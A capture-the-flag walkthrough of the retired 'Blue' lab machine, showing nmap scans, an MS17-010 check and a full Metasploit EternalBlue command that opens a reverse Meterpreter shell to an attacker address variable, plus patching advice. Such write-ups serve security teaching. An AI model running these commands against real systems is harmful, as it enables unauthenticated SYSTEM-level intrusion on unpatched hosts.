J. Perez Duertojperezduerto.info
← all walkthroughs

Blue

Windows· Easy
owned
2026-06-29
time to own
6m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

An unpatched Windows 7 workstation exposed TCP port 445 (SMB) to the network with SMBv1 enabled and the critical MS17-010 (EternalBlue) vulnerability unpatched. I identified the flaw with a single network scan, then launched the public EternalBlue Metasploit module and received an NT AUTHORITY\SYSTEM shell in seconds — without supplying any username or password.

Because EternalBlue exploits a Windows kernel bug, I landed at the highest privilege level on the machine instantly, with no separate escalation step required. Both the user and administrator flags were read immediately from the filesystem.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scan / service version fingerprinting
Scanned the network and found an SMB service on an end-of-life Windows 7 host
A port scan of the target revealed TCP 445 open and fingerprinted the host as Windows 7 Professional Service Pack 1 — an operating system Microsoft stopped patching in January 2020. A workgroup-joined Windows 7 machine with SMB exposed is an immediately recognisable high-value target for EternalBlue.
Service banner: '445/tcp microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)'
Exact commands 2
TCP SYN scan with version detection; confirms port 445 open and returns the Windows 7 SP1 banner.
nmap -Pn -sS -sV -p 445 $TARGET
NSE script extracts OS version, hostname, and active SMB dialect from the target.
nmap -Pn -p 445 --script smb-os-discovery $TARGET
2Vulnerability identificationUnauthenticated SMB vulnerability check (MS17-010 / CVE-2017-0144)
Confirmed the host was vulnerable to MS17-010 (EternalBlue) without credentials
A targeted vulnerability check against the SMB service confirmed the host had never been patched against CVE-2017-0144. The check works by sending a crafted SMB negotiation packet; no login is required. MS17-010 is the flaw exploited by WannaCry and NotPetya in 2017 and has been public for nearly a decade.
Host running unpatched SMBv1 with no evidence of KB4012212; WORKGROUP membership rules out domain-based patch management.
Exact commands 1
NSE script probes for MS17-010 without exploiting it. 'VULNERABLE' in the output confirms the patch is missing.
nmap -Pn -p 445 --script smb-vuln-ms17-010 $TARGET
FixApply the MS17-010 patch (KB4012212) and migrate off Windows 7Critical
WeaknessWindows 7 SP1 never received the March 2017 security update for MS17-010 (CVE-2017-0144). Anyone who can reach TCP port 445 can execute code as SYSTEM with no credentials whatsoever. Windows 7 also reached end of life in January 2020 and will never receive another security patch for any future vulnerability.
FixImmediately apply Microsoft patch KB4012212 (the out-of-band MS17-010 fix Microsoft re-released for legacy systems during the WannaCry crisis). Treat this as a temporary measure only — the permanent fix is to migrate every Windows 7 host to a supported operating system (Windows 10/11 or Windows Server 2022). Validate patching with: nmap -Pn -p 445 --script smb-vuln-ms17-010 <host> — the result should show 'NOT VULNERABLE'.
3ExploitationRemote code execution — MS17-010 EternalBlue (CVE-2017-0144)
Triggered the EternalBlue exploit and received a remote shell — no password needed
The Metasploit module for MS17-010 sent a specially crafted SMBv1 packet that overflowed a kernel heap buffer inside the Windows SMB server (srv.sys). Metasploit then injected a 64-bit reverse Meterpreter payload into a kernel thread. The entire process took under 30 seconds. Because the vulnerable code runs in the Windows kernel, the resulting process context is NT AUTHORITY\SYSTEM — the highest privilege on the machine — before I issued a single post-exploitation command.
Msfconsole ms17_010_eternalblue → RHOSTS $TARGET, LHOST $ATTACKER_IP, LPORT 4448, payload windows/x64/meterpreter/reverse_tcp — Meterpreter session opened.
Exact commands 1
Replace LHOST with your own HTB VPN tun0 address if replicating.
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET; set LHOST $ATTACKER_IP; set LPORT 4448; set VERIFY_ARCH true; set VERIFY_TARGET true; set payload windows/x64/meterpreter/reverse_tcp; run -z; sleep 8; sessions -l; sessions -C 'getuid'"
4Post-exploitationPrivilege verification (OS command execution as NT AUTHORITY\SYSTEM)
Verified immediate SYSTEM-level control — the highest privilege on the machine
The first command inside the Meterpreter session confirmed the process was running as NT AUTHORITY\SYSTEM. On Windows, SYSTEM outranks every local administrator account and has unrestricted access to all files, registry keys, processes, and credentials stored on disk. No further escalation was necessary because EternalBlue delivers a kernel-level shell by design.
Sessions -C 'getuid' returned 'NT AUTHORITY\SYSTEM'.
Exact commands 2
Confirms the Meterpreter context is NT AUTHORITY\SYSTEM.
sessions -C 'getuid'
Lists all enabled privileges; expect SeDebugPrivilege, SeTcbPrivilege, SeBackupPrivilege — all enabled.
sessions -C 'whoami /priv'
5Flag captureUnrestricted filesystem access as NT AUTHORITY\SYSTEM
Read user and root flags from both desktops with no access restrictions
Running as SYSTEM, I listed and read files from the user 'haris' desktop (user flag) and from the Administrator desktop (root flag). SYSTEM bypasses all NTFS ACLs on local files, so neither encrypted folders nor restricted permissions offered any protection.
Exact commands 4
Lists haris's Desktop; confirms user.txt is present.
sessions -C 'ls C:/Users/haris/Desktop'
Reads user flag — value is <user.txt>.
sessions -C 'cat C:/Users/haris/Desktop/user.txt'
Lists Administrator Desktop; confirms root.txt is present.
sessions -C 'ls C:/Users/Administrator/Desktop'
Reads root flag — value is <root.txt>.
sessions -C 'cat C:/Users/Administrator/Desktop/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

EternalBlue (SMBv1 RCE)Service RCET1210CVE-2017-0144 (MS17-010)

What it is

EternalBlue exploits a buffer overflow in Microsoft's SMBv1 server (srv.sys) when handling crafted Transaction2/NT_TRANS requests. The mismatch between how SMB casts large vs. small packets lets an unauthorised user write a kernel-pool payload and gain SYSTEM-level remote code execution without authentication on unpatched Windows hosts.

Why it works

SMBv1 is a legacy protocol that should be disabled entirely; the bug went unpatched on many hosts and was weaponized in WannaCry/NotPetya. Exposure of 445/tcp to untrusted networks plus a missing MS17-010 patch is the root cause. Remediate by patching, disabling SMBv1, and segmenting SMB.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

Exposed services

445/tcp